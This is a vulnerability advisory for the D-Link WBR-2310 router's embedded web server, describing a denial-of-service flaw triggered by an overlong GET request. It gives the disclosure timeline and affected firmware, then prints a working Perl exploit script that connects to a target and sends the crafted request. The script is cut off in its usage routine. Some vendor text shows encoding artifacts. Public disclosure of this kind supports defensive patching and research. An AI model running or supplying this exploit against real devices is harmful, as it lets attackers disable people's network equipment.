|
|
[DCA-00014]
[Software]
- Dlink WBR-2310 Embedded Web Server
[Vendor Product Description]
- The D-Link RangeBooster G=99 WBR-2310 with enhanced 108 features the
industry=92s first default 108Mbps* =93Dynamic Mode=94 that allows clients
to always operate at the highest possible speeds while automatically
identifying and recognizing other D-Link RangeBooster G=99 products for
highest performance capability and seamless access to the wireless
network in a homogeneous environment.
[Bug Description]
- The Embedded Web Server does not sanitize correctly a crafted GET
request leading to Denial-of-Service.
[History]
- Advisory sent to vendor on 07/20/2010
- No response from vendor
- We tried to contact again on 07/30/2010
- No response from vendor
- Public advisory & exploit 08/02/2010.
[Impact]
- Low-Medium
[Affected Version]
- Firmware Version: 1.04
- Hardware Version: A1
- Prior versions may also be vulnerable
[Code]
#!/usr/bin/perl
use IO::Socket;
if (@ARGV < 1) {
usage();
}
$ip = $ARGV[0];
$port = $ARGV[1];
print "[+] Sending request...\n";
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr =>
"$ip", PeerPort => "$port") || die "[-] Connection FAILED!\n";
print $socket "GET
/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n";
sleep(3);
close($socket);
print "[+] Done!\n";
sub usage() {
print "[-] Usage: <". $0 .">